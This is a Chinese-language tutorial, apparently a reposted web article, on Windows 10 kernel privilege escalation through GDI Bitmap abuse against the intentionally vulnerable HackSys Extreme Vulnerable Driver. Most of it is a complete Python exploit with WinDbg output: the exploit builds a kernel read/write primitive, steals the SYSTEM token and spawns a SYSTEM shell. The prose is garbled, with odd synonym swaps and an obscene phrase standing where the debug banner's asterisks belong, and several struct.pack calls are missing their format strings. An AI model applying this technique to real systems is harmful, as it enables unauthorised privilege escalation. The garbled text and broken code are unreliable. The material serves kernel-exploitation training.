Windows特权提升:GDI Bitmap滥用

0x001 媒介

HackSys Extreme Vulnerable Driver是HackSys Team开拓的一个Windows Kernel Exploition练习项目,从2016年开始已经开源在了Github上。全部项目编译好了今后只有一个.sys的驱动文件,经由过程IrpDeviceIoCtlHandler接管到的从用户态送来的特天敕令,选择触发相对应的trigger method。各个题目的破绽点对照明确,很得当作为Windows Kernel Exploitation的入门, Fuzzysecurity上也有一部分题目的阐发,无奈是PowerShell版本的,不怎么认识,从新用Python实现了一遍。

0x002 调试情况

虚拟机:Windows 10 x64 1511 Feb 2016主机:Windows 10 x64 1709 Dec 2017需要对象:1.VirtualKD[here]2.OSRloader[here]3.HackSysExtremeVulnerableDriver[here]4.Windbg5.VmwarePS:详细的情况搭建、驱动编译、装载就不多讲了,网上应该不少,Fuzzysecurity上也有具体历程。

0x003 Proof of concept

本文,我们进修“GDI Bitmap滥用”,必要使用Arbitrary Write这个洞,用IDA打开驱动文件

很显着,破绽成因便是把What指向的内容往Where指向地址里写8个byte。

先确保我们能够进到这个trigger method

import sys

from ctypes import *

kernel32 = windll.kernel32

hevDevice = kernel32.CreateFileA(“\.HackSysExtremeVulnerableDriver”,0xc0000000,0,None,0x3,0,None)

if not hevDevice or hevDevice == -1:

print “[-] Couldn’t get Device Driver handle.”

sys.exit(0)

buf = “A”*8 + “B”*8

buflen = len(buf)

kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)

获得这样的反馈便是没问题了

奸淫奸淫 HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE 奸淫奸淫

[+] UserWriteWhatWhere: 0x0000000002090E18

[+] WRITE_WHAT_WHERE Size: 0x10

[+] UserWriteWhatWhere->What: 0x4141414141414141

[+] UserWriteWhatWhere->Where: 0x4242424242424242

[+] Triggering Arbitrary Overwrite

[-] Exception Code: 0xC0000005

奸淫奸淫 HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE 奸淫奸淫

0x004 How to Exploit it?

学过GDI编程的应该对CreateBitmap这个API不陌生了,详细传入参数如下

HBITMAP CreateBitmap(

_In_ int nWidth,

_In_ int nHeight,

_In_ UINT cPlanes,

_In_ UINT cBitsPerPel,

_In_ const VOID * lpvBits

);

履行这个脚本,内核会挂起来,然后Windbg附加上去

import sys,time

from ctypes import *

kernel32 = windll.kernel32

gdi32 = windll.gdi32

hevDevice = kernel32.CreateFileA(“\.HackSysExtremeVulnerableDriver”,0xc0000000,0,None,0x3,0,None)

if not hevDevice or hevDevice == -1:

print “[-] Couldn’t get Device Driver handle.”

sys.exit(0)

bmp = gdi32.CreateBitmap(0x64,0x64,1,32)

print “[+] Bitmap objects Addr: {0}”.format(hex(bmp))

kernel32.DebugBreak()

kernel32.DebugBreak()

while True:

time.sleep(60*60*24)

履行”g”敕令,能看到Bitmap返回的句柄被打印出来了

C:Userswooy0ung>python C:Userswooy0ungDesktoppoc.py

[+] Bitmap objects Addr: 0x20050b46

接下来,必要找到GdiSharedHandleTable这个表

kd> !process 0 0 python.exe

PROCESS ffffe00058481840

SessionId: 1Cid: 0584Peb: 002ad000ParentCid: 02f8

DirBase: 42277000ObjectTable: ffffc000e4cf6ac0HandleCount:

Image: python.exe

kd> .process ffffe00058481840

Implicit process is now ffffe000`58481840

WARNING: .cache forcedecodeuser is not enabled

kd> .context

User-mode page directory base is 42277000

kd> r $peb

$peb=00000000002ad000

kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable

+0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void

GdiSharedHandleTable这个表寄放着指向每个Bitmap对应的GDICELL64布局的指针,经由过程谋略得到,ptr = GdiSharedHandleTable + (handle & 0xffff) * (x64:0x18,x86:0x10),handle是CreateBitmap返回的句柄

kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable

+0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void

kd> dq 0x00000000`00b90000 + (0x6105104c & 0xffff)*0x18 L3

00000000`00ba8720fffff901`44895000 40056105`00000584

00000000`00ba873000000000`00000000

那么,0xfffff90144895000就是我们刚刚创建的Bitmap的内核地址,而0x584表示当提高程PID(1412)

可以经由过程ProcessHacker验证

创建了一个Bitmap Object,同光阴SURFACE OBJECT(包括BASEOBJECT、SURFOBJECT和pvScan0)也会被创建,此中pvScan0会指向当前SURFACE OBJECT的像素数据布局

[1] [2] [3] [4] [5]下一页

typedef struct {

BASEOBJECT64BaseObject;

SURFOBJ64SurfObj;

…….

} SURFACE64

typedef struct {

ULONG64hHmgr;

ULONG32ulShareCount;

WORDcExclusiveLock;

WORDBaseFlags;

ULONG64Tid;

} BASEOBJECT64;

typedef struct {

ULONG64dhsurf;

ULONG64hsurf;

ULONG64dhpdev;

ULONG64hdev;

SIZELsizlBitmap;

ULONG64cjBits;

ULONG64pvBits;

ULONG64pvScan0;

ULONG32lDelta;

ULONG32iUniq;

ULONG32iBitmapFormat;

USHORTiType;

USHORTfjBitmap;

} SURFOBJ64

现在创建两个Bitmap Object(hManager和hWorker),将hManager的pvScan0指针指向hWorker的pvScan0指针的寄放地址,可以经由过程Arbitraty Write实现

是以,使用API SetBitmapBits hManager可以随意率性设置hWorker的pvScan0指针指向地址,而hWorker经由过程API SetBitmapBits与GetBitmapBits对内核地址随意率性读写。

0x005 Exploit it!

现在我们来评论争论一下脚本该怎么写,首先,获取GdiSharedHandleTable的地址。

pbi = PROCESS_BASIC_INFORMATION()

ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))

ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)

peb = pbi.PebBaseAddress.contents

gdiHandleTable = peb.GdiSharedHandleTable

print “[+] GdiSharedHandleTable : {0}”.format(hex(gdiHandleTable))

由于微软没有把NtQuerySystemInformation这个API导出到ntdll,导致一些数据布局在Python上找不到,不能简单的“from ctypes.wintypes import *”

必要声明PEB、PROCESS_BASIC_INFORMATION和SYSTEM_MODULE_INFORMATION这几个布局

class PEB(Structure):

_fields_ = [(“Junk”, c_byte * 0xF8),

(“GdiSharedHandleTable”, c_void_p)]

class PROCESS_BASIC_INFORMATION(Structure):

_fields_ = [(“Reserved1”, LPVOID),

(“PebBaseAddress”, POINTER(PEB)),

(“Reserved2”, LPVOID * 2),

(“UniqueProcessId”, c_void_p),

(“Reserved3”, LPVOID)]

class SYSTEM_MODULE_INFORMATION(Structure):

_fields_ = [(“Reserved”, c_void_p * 2),

(“ImageBase”, c_void_p),

(“ImageSize”, c_long),

(“Flags”, c_ulong),

(“LoadOrderIndex”, c_ushort),

(“InitOrderIndex”, c_ushort),

(“LoadCount”, c_ushort),

(“ModuleNameOffset”, c_ushort),

(“FullPathName”, c_char * 256)]

查询获得GdiSharedHandleTable地址今后便是创建hManager与hWorker,并获得它们的pvscan0指针地址,使用Arbitrary Write写入指针

ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())

gdicell64 = cast(ptr, POINTER(GDICELL64))

hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50

print “[+] hManager_pvscan0_off : {0}”.format(hex(hManager_pvscan0_off))

ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())

gdicell64 = cast(ptr, POINTER(GDICELL64))

hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50

print “[+] hWorker_pvscan0_off: {0}”.format(hex(hWorker_pvscan0_off))

上一页[1] [2] [3] [4] [5]下一页

写入成功

着末便是找SYSTEM权限的进程,然后把该进程的Token写入到当提高程,这个不多说了。还必要把稳几个紧张的偏移,不合版本的Win10上可能不同等.

kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks

ntdll!_EPROCESS

+0x2e8 UniqueProcessId: Ptr64 Void

+0x2f0 ActiveProcessLinks : _LIST_ENTRY

kd> dt _EPROCESS ImageFileName Token

ntdll!_EPROCESS

+0x358 Token: _EX_FAST_REF

+0x450 ImageFileName : [15] UChar

我这里获得的是

token_off = 0x358

unique_process_id_off = 0x2e8

active_process_links_off = 0x2f0

WIN~

完备的EXP

import sys,time,struct,ctypes,os

from ctypes import *

from ctypes.wintypes import *

from subprocess import *

from win32com.shell import shell

import win32con

kernel32 = windll.kernel32

gdi32 = windll.gdi32

ntdll = windll.ntdll

hManager = HBITMAP()

hWorker = HBITMAP()

class PEB(Structure):

_fields_ = [(“Junk”, c_byte * 0xF8),

(“GdiSharedHandleTable”, c_void_p)]

class PROCESS_BASIC_INFORMATION(Structure):

_fields_ = [(“Reserved1”, LPVOID),

(“PebBaseAddress”, POINTER(PEB)),

(“Reserved2”, LPVOID * 2),

(“UniqueProcessId”, c_void_p),

(“Reserved3”, LPVOID)]

class GDICELL64(Structure):

_fields_ = [(“pKernelAddress”, c_void_p),

(“wProcessId”, c_ushort),

(“wCount”, c_ushort),

(“wUpper”, c_ushort),

(“wType”, c_ushort),

(“pUserAddress”, c_void_p)]

class SYSTEM_MODULE_INFORMATION(Structure):

_fields_ = [(“Reserved”, c_void_p * 2),

(“ImageBase”, c_void_p),

(“ImageSize”, c_long),

(“Flags”, c_ulong),

(“LoadOrderIndex”, c_ushort),

(“InitOrderIndex”, c_ushort),

(“LoadCount”, c_ushort),

(“ModuleNameOffset”, c_ushort),

(“FullPathName”, c_char * 256)]

def write_mem(dest, src, length):

global hManager

global hWorker

write_buf = c_ulonglong(dest)

gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));

gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)

def read_mem(src, dest, length):

global hManager

global hWorker

write_buf = c_ulonglong(src)

gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));

gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)

def find_kernelBase(input_modules):

modules = {}

上一页[1] [2] [3] [4] [5]下一页

# Allocate arbitrary buffer and call NtQuerySystemInformation

system_information = create_string_buffer(0)

systeminformationlength = c_ulong(0)

ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

# Call NtQuerySystemInformation second time with right size

system_information = create_string_buffer(systeminformationlength.value)

ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

# Read first 4 bytes which contains number of modules retrieved

module_count = c_ulong(0)

module_count_string = create_string_buffer(system_information.raw[:8])

ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))

# Marshal each module information and store it in a dictionary

system_information = create_string_buffer(system_information.raw[8:])

for x in range(module_count.value):

smi = SYSTEM_MODULE_INFORMATION()

temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])

ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))

module_name =smi.FullPathName.split(”)[-1]

modules[module_name] = smi

#debug_print (“rn[+] NtQuerySystemInformation():”)

# Get base addresses and return them in a list

base_addresses = []

for input_module in input_modules:

try:

base_address = modules[input_module].ImageBase

#debug_print (“t[-] %s base address: 0x%X” % (input_module, base_address))

base_addresses.append(base_address)

except:

base_addresses.append(0)

return base_addresses

def main():

global hManager

global hWorker

hevDevice = kernel32.CreateFileA(“\.HackSysExtremeVulnerableDriver”,0xc0000000,0,None,0x3,0,None)

if not hevDevice or hevDevice == -1:

print “[-] Couldn’t get Device Driver handle.”

sys.exit(0)

gdi32.CreateBitmap.restype = HBITMAP

hManager = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())

hWorker = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())

print “[+] hManager Handle: {0}”.format(hex(hManager))

print “[+] hWorker Handle: {0}”.format(hex(hWorker))

pbi = PROCESS_BASIC_INFORMATION()

ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))

ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)

peb = pbi.PebBaseAddress.contents

gdiHandleTable = peb.GdiSharedHandleTable

print “[+] GdiSharedHandleTable : {0}”.format(hex(gdiHandleTable))

ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())

gdicell64 = cast(ptr, POINTER(GDICELL64))

hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50

print “[+] hManager_pvscan0_off : {0}”.format(hex(hManager_pvscan0_off))

ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())

gdicell64 = cast(ptr, POINTER(GDICELL64))

hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50

print “[+] hWorker_pvscan0_off: {0}”.format(hex(hWorker_pvscan0_off))

write_where = struct.pack(“, hManager_pvscan0_off)

write_what_object = struct.pack(“, hWorker_pvscan0_off)

write_what_object_ptr = id(write_what_object) + 0x20

上一页[1] [2] [3] [4] [5]下一页

write_what_final = struct.pack(“, write_what_object_ptr)

buf = write_what_final + write_where

buflen = len(buf)

kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)

kernelImage = “ntoskrnl.exe”

kernelImageBase = find_kernelBase(kernelImage.split())[0]

kernel32.LoadLibraryA.restype = HMODULE

hKernelImage = kernel32.LoadLibraryA(kernelImage)

print “[+] Module Name: {0}”.format(kernelImage)

print “[+] Module Base(Userland): {0}”.format(hex(hKernelImage))

kernel32.GetProcAddress.restype = c_ulonglong

kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)

PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,”PsInitialSystemProcess”)

print “[+] PsInitialSystemProcess Userland Base Address : {0}”.format(hex(PsISP_user_addr))

PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr – hKernelImage)

print “[+] PsInitialSystemProcess Kernel Base Address: {0}”.format(hex(PsISP_kernel_addr_ptr))

PsISP_kernel_addr = c_ulonglong()

read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));

SYSTEM_EPROCESS = PsISP_kernel_addr.value

print “[+] SYSTEM EPROCESS: {0}”.format(hex(SYSTEM_EPROCESS))

token_off = 0x358

unique_process_id_off = 0x2e8

active_process_links_off = 0x2f0

flink = c_ulonglong()

read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink));

CURRENT_EPROCESS = 0

while (True):

unique_process_id = c_ulonglong(0)

# Adjust EPROCESS pointer for next entry

EPROCESS = flink.value – unique_process_id_off – 0x8

read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));

# Check if we’re in the current process

if (os.getpid() == unique_process_id.value):

CURRENT_EPROCESS = EPROCESS

break

read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink));

# If next same as last, we’ve reached the end

if (EPROCESS == flink.value – unique_process_id_off – 0x8):

break

print “[+] CURRENT EPROCESS: {0}”.format(hex(CURRENT_EPROCESS))

system_token = c_ulonglong()

read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));

write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));

Popen(“start cmd”, shell=True)

if __name__ == “__main__”:

main()

上一页[1] [2] [3] [4] [5]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包